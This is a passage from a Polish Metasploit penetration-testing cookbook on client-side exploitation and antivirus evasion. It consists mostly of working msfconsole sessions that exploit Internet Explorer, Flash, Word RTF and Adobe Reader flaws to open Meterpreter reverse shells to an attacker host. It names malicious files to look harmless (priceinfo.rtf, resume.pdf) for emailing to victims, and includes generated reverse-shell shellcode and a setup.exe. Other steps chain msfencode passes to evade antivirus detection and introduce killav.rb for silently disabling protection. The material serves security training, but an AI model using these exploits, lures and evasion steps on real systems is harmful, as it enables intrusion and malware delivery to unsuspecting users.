Przygotuj się Użyjemy systemu Windows XP SP3 jako maszyny docelowej oraz systemu BackTrack 5 R3 jako maszyny do przeprowadzenia ataku. Aby rozpocząć, uruchom po prostu konsolę msfconsole, dla której powinien wyświetlić się poniższy znak zachęty: msf>
Jak to wykonać Zobaczmy, jak możemy wykorzystać tę recepturę, aby złamać tarczę ochronną ofiary. Skorzystamy z następujących poleceń interfejsu msfconsole: msf > use exploit/windows/browser/ie_execcommand_uaf msf exploit (ie_execcommand_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp Payload => windows/meterpreter/reverse_tcp msf exploit (ie_execcommand_uaf) > show options Module options (exploit/windows/browser/ie_exexccommand_uaf) : Name ---SRVHOST SRVPORT SSL SSLCert SSLVersion URIPATH
Current Setting --------------0.0.0.0 false SSL3
Required -------yes yes no no no no
Description ----------The local host to listen on. The local port to listen on. Negotiate SSL for incoming connection. Path to custom SSL Certificate. Specify the version of SSL. The URI to use for this exploit.
Payload options (exploit/windows/browser/ie_exexccommand_uaf) : Name Current Setting Required Description ------------------ -------- ----------EXITFUNC process yes Exit technique : seh, thread, process, none LHOST yes The listen address. LPORT 4444 yes The listen port. Exploit Target: Id Name
100
Rozdział 4. • Eksploatacja typu client-side oraz omijanie ochrony antywirusowej
-0
---Automatic
msf exploit (ie_execcommand_uaf) > set SRVPORT 80 SRVPORT => 80 msf exploit (ie_execcommand_uaf) > set SRVHOST 192.168.1.101 SRVHOST => 192.168.1.101 msf exploit (ie_execcommand_uaf) >set URIPATH / URIPATH => / msf exploit (ie_execcommand_uaf) > exploit [*] exploit running as background job [*] Started reverse handler on 192.168.1.101:4444 [*] Using URL : http://192.168.1.101:80/ [*] Server started msf exploit (ie_execcommand_uaf) >[*] ie_execcommand_uaf) –Mozilla/5.0 [compatible :MSIE 9.0 ; Windows NT 6.1 ; Trident/5.0] [*] 192.168.1.101 ie_execcommand_uaf - Redirecting to page.html [*] 192.168.1.101 ie_execcommand_ uaf - Mozilla/5.0 [compatible :MSIE 9.0 ; Windows NT 6.1 ; Trident/5.0] [*] 192.168.1.101 ie_execcommand_ uaf – loading page.html [*] 192.168.1.101 ie_execcommand_ uaf – using JRE ADP [*] 192.168.1.101 ie_execcommand_ uaf - Mozilla/5.0 [compatible :MSIE 9.0 ; Windows NT 6.1 ; Trident/5.0] [*] 192.168.1.101 ie_execcommand_ uaf - Redirecting to page.html [*] 192.168.1.101 ie_execcommand_ uaf - Mozilla/5.0 [compatible :MSIE 9.0 ; Windows NT 6.1 ; Trident/5.0] [*] 192.168.1.101 ie_execcommand_ uaf - Loading page.html [*] 192.168.1.101 ie_execcommand_ uaf - Mozilla/5.0 [compatible :MSIE 9.0 ; Windows NT 6.1 ; Trident/5.0] [*] 192.168.1.101 ie_execcommand_ uaf - Redirecting to page.html [*] Sending stage (752128 bytes) to 192.168.1.100 [*] Meterpreter session 1 opened (192.168.1.101:4444 => 192.168.1.100:63670) at 2012-05-09 18:24:44 [*] Session ID 1 (192.168.1.101:4444 => 192.168.1.100:63670) processing InitialAutoRun Script 'migrate -1 [*] Current server process : ieexplorer.exe (5476) [*] Spawning notepad.exe process to migrate to [*] Migrating to 4768 [*] Successfully migrated to process msf exploit (ie_execcommand_uaf) > sessions –l msf exploit (ie_execcommand_uaf) > sessions –i 1 [*] Starting interaction with 1… meterpreter > sysinfo Computer : TRACEWIN OS : Windows XP (Build 6000, Service Pack 3) Architecture : x86 System Language : en_US Meterpreter : x86/win32
101
Metasploit. Receptury pentestera
Jak to działa Musimy jedynie podsunąć ofierze nasz adres URL, czyli http://192.168.1.101:80/page. Możemy przesłać ten link za pomocą poczty elektronicznej, czatu lub innego narzędzia socjotechnicznego. Po uzyskaniu dostępu do komputera ofiary w celu rozpoczęcia sesji stosujemy polecenie Sessions -l oraz podajemy numer sesji, wpisując –I 1.
Luka Adobe Flash Player „new function” związana z wyjątkiem niewłaściwego użycia wskaźnika Ten moduł eksploatuje lukę w zabezpieczeniach obsługi znacznika DoABC w aplikacji Adobe Flash Player 9.x oraz 10.0. Aplikacje Adobe Reader oraz Acrobat również są podatne na ataki, tak samo jak wszelkie inne programy wykorzystujące narzędzie Flash Player. Wykonanie dowolnego kodu można osiągnąć, załączając w dokumencie PDF specjalnie zaprojektowany plik wideo w formacie Flash. Spryskiwanie sterty (ang. heap spray) za pomocą skryptu AcroJS (Acrobat JavaScript) jest często stosowane do zapewnienia kontroli nad obszarem pamięci wykorzystywanym przy występowania wyjątku niewłaściwego użycia wskaźnika. Ta receptura zawiera przegląd sposobów łamania zabezpieczeń maszyny docelowej poprzez eksploatację luk zabezpieczeń aplikacji Flash Player. Ten moduł wykorzystuje podobną technikę omijania zabezpieczeń DEP, co moduł adobe_libtiff. Ta metoda prawdopodobnie nie będzie działać w różnych wersjach systemu Windows z uwagi na ustaloną dla każdej wersji systemu operacyjnego określoną listę wywołań syscall.
Przygotuj się Użyjemy systemu Windows XP SP3 jako maszyny docelowej oraz systemu BackTrack 5 R3 jako maszyny do przeprowadzenia ataku. Aby rozpocząć, uruchom po prostu konsolę msfconsole, dla której powinien się wyświetlić poniższy znak zachęty: msf>
102
Rozdział 4. • Eksploatacja typu client-side oraz omijanie ochrony antywirusowej
Jak to wykonać W tej recepturze użyjemy pliku .pdf, w którym umieszczony został specjalnie spreparowany plik .swf. Naszym celem jest nakłonić ofiarę, aby otworzyła ten plik. Zobaczmy, jak to zrobić: msf > use exploit/windows/fileformat/adobe_flashplayer_newfunction msf exploit (adobe_flashplayer_newfunction) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit (adobe_flashplayer_newfunction) > set SRVHOST 192.168.1.101 SRVHOST => 192.168.1.101 msf exploit (adobe_flashplayer_newfunction) > set LHOST 192.168.1.101 LHOST => 192.168.1.101 msf exploit (adobe_flashplayer_newfunction) > exploit [*] Exploit running as background job. [*] Started revere handler on 192.168.1.101:4444 [*] Using URL: http://192.168.1.101:8080/filename [*] Server started. msf exploit (adobe_flashplayer_newfunction) > [*] Sending crafted PDF */SWF to 192.168.1.100:1039 [*] Sending stage (748032 bytes) to 192.168.1.100 [*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:1040) [*] Session ID 1 (192.168.1.100:4444 -> 192.168.1.101:1040) processing InitialAutoRunScript 'migrate –f' [*] Current server process : firefox.exe (3644) [*] Spawning a notepad.exe host process [*] Migrating into process ID 3900 [*] New server process: notepad.exe (3900) msf exploit (adobe_flashplayer_newfunction) > sessions -l Active sessions Id Type Information Connection 1 meterpreter ERIC-FD2123B3C 192.168.1.100:1040 msf exploit (adobe_flashplayer_newfunction) > sessions -i 1 meterpreter>
Jak to działa To zdarzenie wskazuje, że doszło do transferu danych SWF, które mogły wywołać uszkodzenie pamięci typu new-function w podatnych na ataki wersjach aplikacji Adobe Flash Player. Potencjalnie mogło to doprowadzić do wykonania kodu dostarczonego przez osobę wykonującą zdalny atak. Poprzez nakłonienie ofiary do otwarcia specjalnie spreparowanego dokumentu PDF atakujący jest w stanie wykorzystać tę lukę w zabezpieczeniach do wywołania uszkodzenia pamięci i wykonania dowolnego kodu z poszerzonymi uprawnieniami na danym systemie.
103
Metasploit. Receptury pentestera
Przepełnienie stosu bufora formatu RTF aplikacji Microsoft Word W tej recepturze skoncentrujemy się na innym popularnym narzędziu systemu Windows, czyli na pakiecie Microsoft Office. Wada związana z przepełnieniem bufora RTF występuje w wersjach 2010 i 2007 pakietu biurowego Office. Luka w zabezpieczeniach dotyczy procedury obsługi właściwości kształtu pfragments w parserze Microsoft Word RTF. Przyjrzyjmy się dokładniej działaniu tego exploita. Przyjmijmy założenie, że posiadamy już informacje na temat maszyny docelowej i jest na niej zainstalowany pakiet Office.
Przygotuj się Rozpoczniemy od uruchomienia interfejsu msfconsole. W tej recepturze wykorzystamy exploit exploit/windows/fileformat/ms10_087_rtf_pfragments_bof. Zastosujemy ładunek windows/ meterpreter/reverse_tcp, aby uzyskać połączenie powłoki z maszyną docelową.
Jak to wykonać Schemat działania jest podobny do tych, które omawialiśmy w poprzednich recepturach. Na początek ustawimy exploit. Następnie wybierzemy ładunek i przekażemy odpowiednie parametry dla ładunku i exploita, aby exploit mógł zostać wykonany z powodzeniem. Wykonajmy następujące czynności: msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof msf exploit(ms10_087_rtf_pfragments_bof) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms10_087_rtf_pfragments_bof) > show options Module options (exploit/windows/fileformat/ms10_087_rtf_pfragments_bof): Name ---FILENAME
Current Setting --------------msf.rtf
Required -------yes
Description ----------The file name.
Payload options (windows/meterpreter/reverse_tcp): Name ---EXITFUNC LHOST LPORT
104
Current Setting --------------process 4444
Required -------yes yes yes
Description ----------Exit technique: seh.. The listen address The listen port
Rozdział 4. • Eksploatacja typu client-side oraz omijanie ochrony antywirusowej
Exploit target: Id Name -- ---0 Automatic
Ten exploit posiada parametr FILENAME, wskazujący nazwę złośliwego pliku, który ma zostać utworzony. Domyślna wartość tego parametru to msf.rtf. Zmieńmy tę nazwę na coś mniej podejrzanego. Ustawmy również wartość dla parametru LHOST, którą będzie adres IP maszyny przeprowadzającej atak: msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME priceinfo.rtf FILENAME => priceinfo.rtf msf exploit(ms10_087_rtf_pfragments_bof) > set LHOST 192.168.56.101
Nazwa pliku została zmieniona na priceinfo.rtf, a wartość parametru LHOST została ustawiona na 192.168.56.101. Wszystko gotowe, aby uruchomić moduł exploita: msf exploit(ms10_087_rtf_pfragments_bof) > exploit [*] Creating 'priceinfo.rtf' file ... [+] priceinfo.rtf stored at /root/.msf4/local/priceinfo.rtf
Metasploit utworzył złośliwy plik, który musimy wykorzystać podczas ataku typu client-side. Lokalizacja tego pliku to /root/.msf4/local/priceinfo.rtf. Kolejnym etapem jest wysłanie złośliwego pliku do użytkownika docelowego za pomocą poczty elektronicznej lub w inny sposób. Uruchomiony przez użytkownika złośliwy plik zostanie otwarty jako dokument programu Word. Po kilku sekundach dana instancja programu Word zawiesi się lub ulegnie awarii, w zależności od systemu. W międzyczasie złośliwy plik wykona z powodzeniem exploit i uruchomi aktywną sesję z celem. Aby ustanowić trwałe połączenie, exploit migruje do jakiegoś innego procesu, który będzie działał w tle: Sending stage (752128 bytes) to 192.168.56.1 [*] Meterpreter session 2 opened (192.168.56.101:4444 -> 192.168.56.1:57031) at 2011-11-13 23:16:20 +0530 [*] Session ID 2 (192.168.56.101:4444 -> 192.168.56.1:57031) processing InitialAutoRunScript 'migrate -f' [*] [*] [+] [+]
Current server process: WINWORD.EXE (5820) Spawning notepad.exe process to migrate to Migrating to 5556 Successfully migrated to process
Pierwszych kilka wierszy listingu ilustruje udane wykonanie exploita, co daje nam aktywną sesję SESSION ID = 2. Ostatnia część listingu pokazuje, że exploit z powodzeniem wykonał migrację z procesu WINWORD.EXE do notepad.exe.
105
Metasploit. Receptury pentestera
Jak to działa Moduł exploita tworzy po prostu złośliwy plik programu Word, przekazujący niepoprawne wartości paserowi Word. Awaria parsera podczas próby rozpoznania niepoprawnych wartości prowadzi do przepełnienia bufora. Następnie ładunek wykonuje kod, który ma na celu ustanowienie połączenia zwrotnego z maszyną atakującą. Powodzenie tego ataku zależy od konkretnej maszyny, ponieważ w niektórych sytuacjach mechanizm obronny ASLR (ang. Address Space Layout Randomization) systemu Windows może uniemożliwić wykonanie dowolnego kodu (ładunku).
Zobacz również Istnieje jeszcze inny popularny exploit dla pakietu Microsoft Office. Wspomnę o nim tylko pokrótce, a Ty samodzielnie spróbuj przeprowadzić atak za jego pomocą.
Przepełnienie bufora aplikacji Microsoft Excel 2007 Ten znany exploit przeznaczony jest dla aplikacji Excel (.xlb) z pakietu Microsoft Office 2007. Wykonanie złośliwego pliku .xlb może prowadzić do przepełnienia stosu bufora i wykonania dowolnego kodu. Lokalizacja exploita to exploit/windows/fileformat/ms11_021_xlb_bof.
Uszkodzenie pamięci przy obsłudze formatu U3D w aplikacji Adobe Reader Ten moduł eksploatuje lukę w zabezpieczeniach procedury obsługi formatu U3D w aplikacji Adobe Reader w wersjach od 9.x do 9.4.6 oraz od 10 do 10.1.1. Luka w zabezpieczeniach wynika z użycia niezainicjowanej pamięci. Losowe wykonanie kodu uzyskuje się przez załączenie w dokumencie PDF specjalnie spreparowanych danych w formacie U3D. Spryskiwanie sterty za pomocą skryptu JavaScript jest stosowane do zapewnienia kontroli nad pamięcią używaną przy występowaniu wyjątku użycia niewłaściwego wskaźnika.
Przygotuj się Użyjemy systemu Windows XP SP3 jako maszyny docelowej oraz systemu BackTrack 5 R3 jako maszyny do przeprowadzenia ataku. Aby rozpocząć, uruchom po prostu konsolę msfconsole, dla której powinien wyświetlić się poniższy znak zachęty: msf>
106
Rozdział 4. • Eksploatacja typu client-side oraz omijanie ochrony antywirusowej
Jak to wykonać W tej recepturze będziemy ponownie eksploatować zdalną maszynę, wykorzystując lukę zabezpieczeń U3D Memory Corruption (uszkodzenie pamięci za pomocą danych w formacie U3D) w aplikacji Adobe. Msf > use exploit/windows/adobe_reader_u3d Msf exploit (adobe_reader_u3d) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp Msf exploit (adobe_reader_u3d) > set LHOST 192.168.1.101 LHOST => 192.168.1.101 Msf exploit (adobe_reader_u3d) > set FILENAME resume.pdf FILENAME => resume.pdf Msf exploit (adobe_reader_u3d) > exploit [*] Creating resume.pdf file [+] resume.pdf stored at /root/.msf4/local/resume.pdf
Teraz musimy utworzyć nasłuchiwacz, który będzie obsługiwał połączenie odwrócone, kiedy na maszynie docelowej zostanie wykonany złośliwy plik. Zobaczmy, jak to się odbywa: Msf exploit (adobe_reader_u3d) > use exploit/multi/handler Msf exploit (handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp Msf exploit (handler) > set LHOST 192.168.1.101 LHOST => 192.168.1.101 Msf exploit (handler) > exploit [*] Started reverse handler on 192.168.1.100:4444 [*] Starting the payload handler [*] Sending stage (752128 bytes) to 192.168.1.101 [*] Meterpreter session 1 opened (192.168.1.101:1074) Meterpreter > sysinfo Computer : HP-PC OS : Windows XP (Build 6000, Service Pack 2). Meterpreter > shell Process 256 created. Channel 1 created. Microsoft Windows XP (Version 5.1.2600) C:\Documents and Settings\John\Desktop>
Jak to działa Aplikacje Adobe Acrobat i Adobe Reader są podatne na zdalne uszkodzenie pamięci. Atakujący może wykorzystać tę lukę w zabezpieczeniach do wykonania dowolnego kodu w kontekście użytkownika, który uruchamia podatną aplikację.
107
Metasploit. Receptury pentestera
Możliwość zdalnego wykonania w danym systemie dowolnego kodu wynika z luki w zabezpieczeniach procedury obsługi danych w formacie U3D (ang. Universal 3D). Poprzez nakłonienie ofiary do otwarcia specjalnie spreparowanego pliku .pdf atakujący może zdalnie eksploatować tę lukę w celu uszkodzenia obszaru pamięci i wykonania dowolnego kodu lub wywołania awarii aplikacji. Wygenerowany złośliwy plik PDF zostanie zapisany lokalnie na Twoim komputerze. Potem musisz skonfigurować nasłuchiwacz do obsługi połączenia odwróconego inicjowanego przez maszynę docelową po udanym wykonaniu exploita. Wyślij plik resume.pdf użytkownikowi docelowemu i poczekaj, aż go pobierze i uruchomi. Teraz możesz uzyskać dostęp do powłoki Meterpretera na komputerze ofiary.
Generowanie pliku binarnego oraz kodu powłoki za pomocą narzędzia msfpayload Jak dotąd omówiliśmy wiele technik, które mogą być użyte do penetracji maszyny docelowej z wykorzystaniem ataków typu client-side. Wszystkie te techniki polegają na eksploatowaniu luki w zabezpieczeniach różnych składników aplikacji uruchamianych na maszynie docelowej. Jednak może się tak zdarzyć, że wspomniane techniki nie będą działać. Takie ataki uzależniają nas od podatnych na ataki aplikacji, które musimy eksploatować, aby uzyskać dostęp. Metasploit oferuje nam kolejną funkcję, za pomocą której możemy wykonywać ataki cliet-side, bez konieczności przejmowania się eksploatacją aplikacji uruchomionych na maszynie docelowej. Umożliwia nam to narzędzie msfpayload. Omówmy je pokrótce i przejdźmy do jego praktycznego zastosowania. Narzędzie msfpayload to instancja wiersza poleceń frameworku Metasploit, która jest wykorzystywana do generowania różnych typów plików kodów powłoki dostępnych w repozytorium Metasploit. Dostępne są następujące opcje typu plików: C, Ruby, Raw, Exe, Dll, VBA oraz War. Za pomocą narzędzia msfpayload możemy przekonwertować dowolny kod powłoki Metasploit na jeden z tych formatów pliku. Następnie taki plik może być przesłany do maszyny docelowej w celu wykonania. Po wykonaniu pliku na maszynie docelowej otrzymujemy aktywną sesję. Redukuje to nakłady pracy przeznaczonej na eksploatację każdej istniejącej luki w zabezpieczeniach oprogramowania uruchomionego na maszynie docelowej. Inną istotną korzyścią zastosowania narzędzia msfpayload jest to, że może być ono wykorzystane do wygenerowania niestandardowych kodów powłoki w określonych językach programowania, takich jak C, Ruby itd. Taki kod powłoki możesz wykorzystać podczas pisania kodu własnego exploita. Poważną wadą narzędzia msfpayload jest to, że generowane przez nie pliki mogą zostać łatwo wykryte przez oprogramowanie antywirusowe podczas próby ich wykonania. Przejdźmy do dalszej części receptury i zobaczmy, jakie możliwości daje msfpayload w procesie przeprowadzania testów penetracyjnych.
108
Rozdział 4. • Eksploatacja typu client-side oraz omijanie ochrony antywirusowej
Przygotuj się Na początek poeksperymentujmy z msfpayload. Uruchom terminal systemu BackTrack i wpisz polecenie msfpayload –h, aby wyświetlić opis jego zastosowania: root@bt:~# msfpayload -h Usage: /opt/framework3/msf3/msfpayload [
Aby sprawdzić listę dostępnych kodów powłoki, możemy zastosować polecenie msfpayload –l. Do naszej dyspozycji jest wiele różnych kodów powłoki.
Jak to wykonać Zobaczmy teraz, jak można wygenerować określony niestandardowy kod powłoki w języku C. Wykorzystamy ładunek windows/shell/reverse_tcp do wygenerowania dla niego kodu powłoki. Najpierw wybierzemy odpowiednią powłokę ładunku i podamy wartości różnych parametrów: root@bt:~# msfpayload windows/shell/reverse_tcp o Name: Module: Version: Platform: Arch: Needs Admin: Total size: Rank:
Windows Command Shell, Reverse TCP Stager payload/windows/shell/reverse_tcp 10394, 11421 Windows x86 No 290 Normal
Basic options: Name ---EXITFUNC LHOST LPORT
Current Setting --------------process 4444
Required -------yes yes yes
Description ----------Exit technique: seh.. The listen address The listen port
Zwróć uwagę, że zastosowanie w poleceniu parametru o spowodowało wyświetlenie różnych opcji parametrów kodu powłoki ładunku. Aby wygenerować niestandardowy kod powłoki, należy sprecyzować wartości tych parametrów. root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 LPORT=4441 o
Ustawiliśmy parametry LHOST i LPORT zgodnie z naszymi potrzebami. Następnym krokiem jest wygenerowanie w języku C kodu dla niestandardowej powłoki (przedstawiony listing został skrócony dla celów przykładu):
109
Metasploit. Receptury pentestera
root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 LPORT=4441 C /* * windows/shell/reverse_tcp - 290 bytes (stage 1) * http://www.metasploit.com * VERBOSE=false, LHOST=192.168.56.101, LPORT=4441, * ReverseConnectRetries=5, EXITFUNC=process, * InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
Zwróć uwagę na zastosowany w poleceniu parametr C. Określa on, że kod powłoki zostanie wygenerowany w języku C. Możesz wykorzystać ten kod powłoki przy tworzeniu własnego exploita. Alternatywnie kody mogą być generowane w językach Ruby lub Pearl. Przejdźmy do następnego etapu generowania binarnego pliku wykonywalnego dla kodu powłoki, który może być wykorzystany w ataku typu client-side: root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 X > .local/setup.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/shell/reverse_tcp Length: 290 Options: {"LHOST"=>"192.168.56.101"}
Zwróć uwagę na różne parametry przekazane w wierszu poleceń. Parametr X powoduje wygenerowanie pliku typu EXE, który zostanie zapisany pod nazwą setup.exe w folderze .local. Ten plik może być wykorzystany w ataku typu client-side.
Jak to działa Ponieważ mamy już przygotowany plik wykonywalny, musimy w msfconsole ustawić nasłuchiwacz połączenia zwrotnego, które zostanie zainicjowane po wykonaniu pliku EXE na maszynie docelowej: msf > use multi/handler msf exploit(handler) > set PAYLOAD windows/shell/reverse_tcp
110
Rozdział 4. • Eksploatacja typu client-side oraz omijanie ochrony antywirusowej
PAYLOAD => windows/shell/reverse_tcp msf exploit(handler) > set LHOST 192.168.46.101 msf exploit(handler) > exploit [-] Handler failed to bind to 192.168.46.101:4444 [*] Started reverse handler on 0.0.0.0:4444 [*] Starting the payload handler
Zwróć uwagę, że użyliśmy tego samego ładunku i przekazaliśmy te same wartości parametrów, które zastosowaliśmy podczas generowania pliku wykonywalnego. Nasłuchiwacz jest gotowy do odebrania połączenia odwróconego. Kiedy użytkownik docelowy (na maszynie z systemem wcześniejszym niż Windows 7) wykona złośliwy plik EXE, otrzymamy połączenie powłoki.
Schematy kodowania za pomocą narzędzia msfencoding oraz współczynnik wykrycia Jednym z najlepszych sposobów uniknięcia powstrzymania przez oprogramowanie antywirusowe jest zakodowanie ładunku za pomocą narzędzia msfencode. To użyteczne narzędzie zmienia kod w plik wykonywalny w taki sposób, że dla programu wirusowego wygląda on inaczej, choć wciąż działa w ten sam sposób. W poniższej tabeli przedstawiono listę formatów kodowania, którą możesz wyświetlić za pomocą polecenia msfencode -l. Zwróć uwagę, że dla każdej platformy stosowane są inne kodery: Nazwa
Ranga
Opis
cmd/generic_sh
Dobry (good)
Generic Shell Variable Substitution Command Encoder
cmd/ifs
Słaby (low)
Generic ${IFS} Substitution Command Encoder
generic/none
Normalny (normal)
The "none" Encoder
mipsbe/longxor
Normalny (normal)
XOR Encoder
mipsle/longxor
Normalny (normal)
XOR Encoder
php/base64
Normalny (normal)
PHP Base64 Encoder
ppc/longxor
Normalny (normal)
PPC LongXOR Encoder
ppc/longxor_tag
Normalny (normal)
PPC LongXOR Encoder
sparc/longxor_tag
Normalny (normal)
SPARC DWORD XOR Encoder
x64/xor
Normalny (normal)
XOR Encoder
x86/alpha_mixed
Słaby (low)
Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper
Słaby (low)
Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower
Ręczny (manual)
Avoid UTF8/tolower
111
Metasploit. Receptury pentestera
Nazwa
Ranga
Opis
x86/call4_dword_xor
Normalny (normal)
Call+4 Dword XOR Encoder
x86/countdown
Normalny (normal)
Single-byte XOR Countdown Encoder
x86/fnstenv_mov
Normalny (normal)
Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive
Normalny (normal)
Jump/Call XOR Additive Feedback Encoder
x86/nonalpha
Słaby (low)
Non-Alpha Encoder
x86/nonupper
Słaby (low)
Non-Upper Encoder
x86/shikata_ga_nai
Doskonały (excellent) Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit
Ręczny (manual)
Single Static Bit
x86/unicode_mixed
Ręczny (manual)
Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper
Ręczny (manual)
Alpha2 Alphanumeric Unicode Uppercase Encoder
Przygotuj się Otwórz okno terminala z uprawnieniami użytkownika root: root@bt:~#
Jak to wykonać Zobaczmy, jak ładunek jest kodowany za pomocą formatów kodera. Poniżej zamieszczono przykład przeprowadzenia prostego pojedynczego kodowania z wykorzystaniem tylko jednego formatu: root@bt:~# msfpayload nazwa_ładunku LHOST=Lokalny_adres_IP LPORT=Port_nasłuchiwacza R | msfencode -e x86/format_kodera -t exe > Docelowy_folder/Docelowy_plik
Aby upewnić się, że ładunek nie zostanie wykryty, możemy przeprowadzić skanowanie antywirusowe online za pomocą zaufanego serwisu, takiego jak https://www.virustotal.com/. Wynik skanowania dał nam współczynnik wykrycia 36/45. Poniżej opisano czynności wymagane do przeprowadzenia wielokrotnego kodowania. Tym razem zamiast jednego schematu kodowania użyjemy kilku schematów jeden po drugim. Po zakodowaniu ładunku możesz go ponownie przeskanować. Składnia dla wygenerowania wielokrotnie zakodowanego ładunku jest następująca: root@bt:/opt/framework3/msf3# msfpayload nazwa_ładunku LHOST=Lokalny_adres_IP LPORT=Port_nasłuchiwacza R | msfencode -e format_kodera -c 5 -t raw | msfencode -e format_kodera -c 2 -t raw | msfencode –e format_kodera -c 5 -t raw | msfencode -e format_kodera -c 5 -t exe -o Docelowy_folder/Docelowy_plik
112
Rozdział 4. • Eksploatacja typu client-side oraz omijanie ochrony antywirusowej
Sprawdźmy współczynnik wykrycia. Mimo wszystko nadal nie jest wystarczająco dobry, ponieważ wynosi 37/46.
Jak to działa W tym schemacie ładunek jest kodowany za pomocą kilku konkretnych formatów kodera, aby uniknąć wykrycia przez program antywirusowy. Po wykryciu ładunku jako złośliwego kodu lub wirusa program antywirusowy natychmiast podejmie określone działania, które prawdopodobnie spowodują usunięcie ładunku. Dlatego framework Metasploit udostępnia konkretne schematy kodowania, aby zapobiec scenariuszom blokowania testów penetracyjnych. Kiedy staramy się uniknąć wykrycia przez programy antywirusowe bez zmodyfikowania samego statycznego pliku binarnego, przypomina to zabawę w kotka i myszkę, ponieważ sygnatury programów antywirusowych są często aktualizowane pod kątem wykrywania nowych i zmodyfikowanych ładunków. Podczas korzystania z frameworku Metasploit Framework lepsze rezultaty możemy uzyskać, stosując wielokrotne kodowanie. Umożliwia to kilkukrotne zakodowanie ładunku w celu oszukania oprogramowania antywirusowego sprawdzającego sygnatury. Można podsumować, że ta technika prawdopodobnie sprawdzi się na starszych wersjach systemów operacyjnych ze słabą infrastrukturą zabezpieczeń, ale nie zadziała na najnowszych systemach. Oprogramowanie antywirusowe MSE (ang. Microsoft Security Essentials) natychmiast usuwa tego typu zakodowane ładunki zaraz po ich wykryciu.
Zastosowanie skryptu killav.rb do wyłączania ochrony antywirusowej W poprzedniej recepturze skoncentrowaliśmy się na różnych technikach, które mogą być wykorzystane do ominięcia ochrony antywirusowej po stronie punktów końcowych sieci i otwarcia aktywnej sesji. To jednak jeszcze nie wszystko. Co zrobić, kiedy chcemy pobrać pliki z systemu docelowego, zainstalować rejestrator uderzeń klawiatury itd.? Takie działania mogą uruchomić alarm programu antywirusowego. Dlatego po uzyskaniu aktywnej sesji naszym kolejnym celem powinno być wyłączenie po cichu ochrony antywirusowej. Temu zagadnieniu poświęcona jest ta receptura. Wyłączenie programu antywirusowego ma kluczowe znaczenie dla pozostania niewykrytym podczas przeprowadzania różnych działań na maszynie docelowej. W tej recepturze wykorzystamy niektóre skrypty Meterpretera dostępne podczas aktywnej sesji. Skryptom Meterpretera poświęcony został cały rozdział w tej książce, więc teraz omówimy tę kwestię jedynie wstępnie i przedstawimy kilka użytecznych poleceń Meterpretera.
113
Metasploit. Receptury pentestera
Przygotuj się Zacznijmy od szybkiego wprowadzenia do Meterpretera. Meterpreter to zaawansowany ładunek, który znacznie rozszerza możliwości wykonywania poleceń na maszynie docelowej. Jest to interpreter poleceń, który działa poprzez wstrzyknięcie biblioteki DLL do pamięci i posiada znaczną przewagę nad tradycyjnymi interpreterami poleceń (zasadniczo rezyduje w kodzie powłoki), ponieważ jest bardziej elastyczny, stabilny i rozszerzalny. Może działać na maszynie docelowej, tak jakby działało na niej kilka ładunków jednocześnie. Meterpreter komunikuje się poprzez gniazdo stagera i zapewnia po stronie punktu końcowego sieci kompleksowy interfejs API języka Ruby. Powłokę Meterpretera możemy uzyskać, stosując ładunki dostępne w katalogu windows/meterpreter. W tej recepturze wykorzystamy ładunek windows/meterpreter/reverse_tcp. Maszyną docelową będzie system Windows 7 z uruchomionym programem antywirusowym ESET NOD32. Na początek za pomocą konsoli msfconsole ustawimy nasłuchiwacz oczekujący na połączenie zwrotne: msf > use multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------Payload options (windows/meterpreter/reverse_tcp): Name ---EXITFUNC LHOST LPORT Exploit Id -0
Current Setting --------------process 192.168.56.101 4444
Required -------yes yes yes
Description ----------Exit technique: seh.. The listen address The listen port
target: Name ---Wildcard Target
msf exploit(handler) > exploit [*] Started reverse handler on 192.168.56.101:4444 [*] Starting the payload handler...
114
Rozdział 4. • Eksploatacja typu client-side oraz omijanie ochrony antywirusowej
